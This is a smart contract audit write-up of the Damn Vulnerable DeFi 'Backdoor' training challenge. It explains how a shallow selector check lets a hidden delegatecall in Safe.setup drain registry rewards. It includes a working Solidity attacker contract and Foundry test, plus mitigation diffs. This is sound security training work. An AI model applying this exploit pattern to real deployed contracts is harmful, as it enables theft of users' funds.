

Damn Vulnerable DeFi, Backdoor Security Review

Prepared by: SnavOhBurmaa

Lead Auditors: Khant Wai Yan Aung (SnavOhBurmaa)

date: July 24, 2026

Table of contents

See table

1. Damn Vulnerable DeFi, Backdoor Security Review
2. [Table of contents](#)
3. [About Me](#)
4. [Disclaimer](#)
5. [Risk Classification](#)
6. [Audit Details](#)
7. [Scope](#)
8. [Protocol Summary](#)
9. [Roles](#)
10. [Executive Summary](#)
11. [Issues found](#)
12. [Findings](#)

About Me

I'm a smart contract auditor focus on EVM and Solidity protocols. This review was carried out as part of independent security practice on the Damn Vulnerable DeFi training set.

Disclaimer

I made every effort to find as many vulnerabilities as possible, fixing the issues described here does not guarantee the contracts are free of all bug.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The project is Damn Vulnerable DeFi v4, the Backdoor challenge. The reviewed version use pragma solidity =0.8.25 (DVD v4). The reviewer is Khant Wai Yan Aung (SnavOhBurmaa) and the date is July 24, 2026. Tools used were manual review and Foundry (forge) for the PoC, Slither, Aderyn.

Scope

```
src/backdoor/  
  WalletRegistry.sol
```

Protocol Summary

Backdoor is a reward program built on top of Safe multisig wallets. The team wants its members to use secure Safe wallets, so it deploys a `WalletRegistry`. When an approved member deploys and registers a Safe wallet, the registry pays that wallet 10 DVT.

The registry plugs into the real Safe Proxy Factory. The intended flow is that a beneficiary calls the factory to create a Safe, and the factory calls back into the registry through `proxyCreated`. The registry then checks the new wallet and pays the reward.

`WalletRegistry.sol` holds the logic. `addBeneficiary` lets the owner approve more members. `proxyCreated` is the callback that runs all the safety checks and pays the reward. `_getFallbackManager` reads the new wallet fallback handler so `proxyCreated` can confirm none is set.

In the test there are four beneficiaries, Alice, Bob, Charlie and David. The registry holds 40 DVT, enough for one 10 DVT reward each. The player is not a beneficiary. The goal is to take all 40 DVT and send them to a recovery account, in a single transaction.

Roles

There are two roles that matter. The registry owner deploys the registry and can add beneficiaries. A beneficiary is an approved member who can create a wallet and earn 10 DVT. The reward payment is triggered by the `Safe` factory callback, and creating a wallet for a beneficiary is open to anyone, the beneficiary does not have to be the caller.

Executive Summary

The registry pays a reward to any new `Safe` wallet that passes its checks. The checks look strict, they confirm the real factory, the real singleton, one owner who is a beneficiary, a threshold of one, and no fallback handler. But one check is too shallow.

When it inspects the wallet setup, the registry only reads the first four bytes of the initializer to confirm it is a `Safe.setup` call. It never reads the rest of the arguments. `Safe.setup` takes a to address and a data payload, and it runs a delegatecall to them while the wallet is being set up. So the attacker can create a normal looking wallet for each beneficiary and hide any code they like inside that delegatecall.

The attacker uses the delegatecall to make each fresh wallet approve the attacker. The registry then pays 10 DVT to the wallet, and the attacker pulls it out with the approval. Wrapped in one attacker contract, the whole thing drains all 40 DVT in a single transaction.

Issues found

Severity	Number of issues found
High	1

Severity	Number of issues found
Medium	0
Low	1
Informational	0
Total	2

ID	Title	Severity
[H-1]	The registry only checks the setup selector, so a hidden delegatecall in Safe setup drains every reward	High
[L-1]	The registry emits no events, so beneficiary and wallet changes can not be tracked offchain	Low

Findings

High

[H-1] The registry only checks the setup selector, so a hidden delegatecall in Safe setup lets an attacker drain every reward

Description:

When a new Safe wallet is created, the registry runs a set of checks in `proxyCreated` before it pays the reward. One of those checks looks at the initializer, but it only reads the first four bytes.

```
// src/backdoor/WalletRegistry.sol:84-87
// Ensure initial calldata was a call to `Safe::setup`
if (bytes4(initializer[:4]) != Safe.setup.selector) {
    revert InvalidInitialization();
}
```

The check confirms the wallet was set up with `Safe.setup`, but it never looks at the rest of the arguments. That matters because `Safe.setup` takes a to address and a data payload, and during setup the Safe runs a delegatecall to that to with that data.

```
// lib/safe-smart-account/contracts/Safe.sol:95-109
function setup(
    address[] calldata _owners,
    uint256 _threshold,
    address to,           // delegatecall target
```

```

        bytes calldata data, // delegatecall payload
        ...
    ) external {
        setupOwners(_owners, _threshold);
        if (fallbackHandler != address(0))
            internalSetFallbackHandler(fallbackHandler);
        setupModules(to, data); // <-- runs to.delegatecall(data) in
        the new Safe
        ...
    }

```

So the attacker can call `Safe.setup` in the normal way, pass all the registry checks (real factory, real singleton, one owner who is a beneficiary, threshold one, no fallback handler), and still smuggle in any code they want through `to` and `data`. That code runs inside the fresh wallet before the reward is paid.

The `delegatecall` runs before the reward arrives, so the attacker can not steal the 10 DVT during setup. Instead they use it to make the wallet approve the attacker. Right after, `proxyCreated` sends 10 DVT to the wallet, and the attacker pulls it out with the approval.

Impact:

Likelihood High. Anyone can create a Safe for a beneficiary through the real factory. The owner does not have to be the one who calls it.

Risk High. All 40 DVT set aside for the four beneficiaries are taken.

Proof of Concept:

The player deploys one attacker contract, and the whole attack runs in its constructor, so the player uses a single transaction. For each of the four beneficiaries the attacker builds a `Safe.setup` call where `to` and `data` point at a small backdoor that makes the new wallet approve the attacker. After the registry pays 10 DVT to the wallet, the attacker moves it to recovery.

```

// delegatecalled from inside each fresh Safe during setup, runs
in the Safe's context
contract Backdoor {
    function approveToken(address token, address spender) external
    {
        IERC20(token).approve(spender, type(uint256).max);
    }
}

contract BackdoorAttacker {
    constructor(
        address[] memory users,
        address singletonCopy,
        SafeProxyFactory walletFactory,
        WalletRegistry walletRegistry,
        DamnValuableToken token,

```

```

        address recovery
    ) {
        Backdoor backdoor = new Backdoor();

        for (uint256 i = 0; i < users.length; i++) {
            address[] memory owners = new address[](1);
            owners[0] = users[i];

            // hidden delegatecall payload: make the new Safe
approve this attacker
            bytes memory approveData =

abi.encodeWithSelector(Backdoor.approveToken.selector,
address(token), address(this));

            // build the Safe.setup calldata, sneaking the
backdoor into to and data
            bytes memory initializer = abi.encodeWithSelector(
                Safe.setup.selector,
                owners, uint256(1),
                address(backdoor), approveData, // to and data
                address(0), address(0), uint256(0),
payable(address(0))
            );

            // deploy through the real factory, the registry pays
10 DVT to the wallet
            SafeProxy proxy =
walletFactory.createProxyWithCallback(
                singletonCopy, initializer, i,
IProxyCreationCallback(address(walletRegistry))
            );

            // the wallet approved us during setup, pull its 10
DVT to recovery
            token.transferFrom(address(proxy), recovery, 10e18);
        }
    }
}

function test_backdoorExploit() public {
    vm.startPrank(player, player);

    console.log("BEFORE ATTACK");
    console.log("registry DVT :",
token.balanceOf(address(walletRegistry)));
    console.log("recovery DVT :", token.balanceOf(recovery));
    console.log("player nonce :", vm.getNonce(player));

    // the one and only player transaction
    new BackdoorAttacker(users, address(singletonCopy),
walletFactory, walletRegistry, token, recovery);

    vm.stopPrank();
}

```

```
- // Ensure initial calldata was a call to `Safe::setup`
- if (bytes4(initializer[:4]) != Safe.setup.selector) {
-     revert InvalidInitialization();
- }
+ if (bytes4(initializer[:4]) != Safe.setup.selector) {
```

```
+     revert InvalidInitialization();
+ }
+ // decode setup args and make sure no delegatecall is smuggled
+   in
+ (, , address to, bytes memory data, , , , ) = abi.decode(
+     initializer[4:],
+     (address[], uint256, address, bytes, address, address,
+      uint256, address)
+ );
+ if (to != address(0) || data.length != 0) {
+     revert InvalidInitialization();
+ }
```

Low

[L-1] The registry emits no events, so beneficiary and wallet changes can not be tracked offchain

Description:

The registry changes important state in three places, but it declares no events at all. `addBeneficiary` approves a member, and `proxyCreated` removes a beneficiary and registers a wallet, all silently.

```
// src/backdoor/WalletRegistry.sol:59-61
function addBeneficiary(address beneficiary) external onlyOwner {
    beneficiaries[beneficiary] = true;
}

// src/backdoor/WalletRegistry.sol:114-118
// Remove owner as beneficiary
beneficiaries[walletOwner] = false;
// Register the wallet under the owner's address
wallets[walletOwner] = walletAddress;
```

Without events, offchain tools like indexers, dashboards and monitoring can not see when a beneficiary is added or removed, or when a wallet is registered and paid. For a registry whose whole job is tracking who joined and got rewarded, this makes it hard to watch the system or to react quickly if something looks wrong.

Impact:

Likelihood Low. Risk Low. It does not lose funds, but it hurts transparency and monitoring.

Proof of Concept:

N/A

Recommended Mitigation:

Declare events and emit them on each state change.

```
+ event BeneficiaryAdded(address indexed beneficiary);
+ event BeneficiaryRemoved(address indexed beneficiary);
+ event WalletRegistered(address indexed owner, address indexed
    wallet);

    function addBeneficiary(address beneficiary) external onlyOwner
    {
        beneficiaries[beneficiary] = true;
+     emit BeneficiaryAdded(beneficiary);
    }
```